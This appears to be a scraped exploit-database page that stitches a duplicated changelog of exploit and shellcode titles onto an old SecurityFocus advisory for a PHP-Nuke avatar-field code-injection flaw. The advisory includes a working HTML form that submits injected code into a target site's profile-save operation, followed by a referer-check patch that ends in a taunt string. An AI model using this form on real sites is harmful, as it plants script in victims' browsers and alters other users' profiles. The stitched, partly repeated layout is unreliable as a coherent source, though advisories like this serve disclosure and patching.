
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
50 lines
No EOL
1.8 KiB
Text
50 lines
No EOL
1.8 KiB
Text
source: https://www.securityfocus.com/bid/6750/info
|
|
|
|
A problem with PHP-Nuke could allow remote users to execute arbitrary code in the context of the web site. The problem is in the lack of sanitization of some types of input.
|
|
|
|
PHP-Nuke does not sanitize code submitted to a site from the avatar select box. Due to this, a malicious user may be able to submit embedded code from their profile page instead of an avatar. This would result in code being executed in the location where a user's avatar should normally display. This code would be executed by a victim user's browser in the context of the site.
|
|
|
|
<!-- START CODE --!>
|
|
<form name="Register"
|
|
action="http://NUKEDSITE/modules.php?name=Your_Account" method="post">
|
|
|
|
<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
|
|
maxlength="30"><br><br>
|
|
|
|
<b>Username</b><input type="text" name="uname" size="30"
|
|
maxlength="255"><br><b>User ID:<input type="text" name="uid"
|
|
size="30"><input type="hidden" name="op" value="saveuser"><input
|
|
type="submit" value="Save Changes"></form>
|
|
<!-- END CODE --!>
|
|
|
|
|
|
To modify other users avatar information:
|
|
|
|
Search for "saveuser" you should get to a function that looks like this..
|
|
|
|
function saveuser($uid, $realname, $uname, $email, etc...
|
|
|
|
right underneath the function call, put this in..
|
|
|
|
$referer = getenv("HTTP_REFERER");
|
|
$nukeurl="http://digital-delusions.com";
|
|
$nukeurl2="http://digital-delusions.dyn.ee";
|
|
$nukeurl3="http://192.168.0.254";
|
|
if (substr("$referer",0,strlen($nukeurl))==$nukeurl OR
|
|
substr("$referer",0,strlen($nukeurl2))==$nukeurl2 OR
|
|
substr("$referer",0,strlen($nukeurl3))==$nukeurl3) {
|
|
|
|
make sure u change my URLs to your site's urls.
|
|
|
|
[ ... ]
|
|
|
|
Header("Location: modules.php?name=$module_name");
|
|
}
|
|
}
|
|
}
|
|
|
|
before the last "}" paste this..
|
|
|
|
} else {
|
|
echo "delusion ownz j00";
|
|
} |